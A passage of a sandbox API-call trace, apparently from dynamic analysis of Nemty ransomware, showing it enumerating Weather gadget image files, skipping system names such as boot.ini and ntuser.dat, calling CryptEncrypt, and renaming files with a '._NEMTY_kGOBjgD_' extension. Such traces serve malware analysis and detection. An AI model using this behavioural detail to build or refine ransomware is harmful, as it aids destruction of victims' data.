lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.226] CloseHandle (hObject=0xffffffff) returned 0 [0167.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403f0 [0167.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0167.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0167.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0167.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-gibbous.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-gibbous.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-gibbous.png._nemty_kgobjgd_")) returned 0 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0167.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0167.227] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e288a2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e288a2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x316df6cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x62fb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2=".") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="..") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="...") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="windows") returned -1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="rsa") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="ntldr") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="bootmgr") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="programdata") returned 1 [0167.227] lstrcmpiW (lpString1="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="appdata") returned 1 [0167.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345da8, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340220 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345da8, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345da8, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0167.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345d60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401a8 [0167.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63402a0 [0167.228] Sleep (dwMilliseconds=0x5) [0167.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1752d8b0, dwHighDateTime=0x1d561e8)) [0167.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1752d8b0, dwHighDateTime=0x1d561e8)) [0167.230] GetLastError () returned 0x5 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0167.230] GetLastError () returned 0x5 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.230] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.230] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.230] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340398 [0167.230] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340398, pcchString=0x653e91c | out: pszString="jA+YDlYMHwm2bqi+sND5QMtjd500Lg17X4Ds5jX9UJ5sBRksblFYDjgM8k2kT8sf\r\nhmO8yGUZCsOnzPrZL3FrJu32P7rtc4CTN3p2Yi7xempX6ONwsTQZh8wPH6v+I6sP\r\ntg8njHIcyAfGkD+GQg2iDhNaHvPxiPqWc3+C4FyZYwiFpmi6Pk2VDwG1cpkR00jt\r\nHHckdBABiCdo4ZumRGjFtuDQrf4fYMJNG6lYMcZW/r1lNfZszSKEmC3nFOIP0uBF\r\nEzJaTEkBvaGrozLiJ/g8sawYRFeWiA/04opCyGfg4rHTEI7MKI904+5te9m/gI9j\r\n+AeGVrpxK2DWvDwkNEEeVw==\r\n", pcchString=0x653e91c) returned 1 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0167.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340398 [0167.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.230] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waning-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waning-gibbous_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.231] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 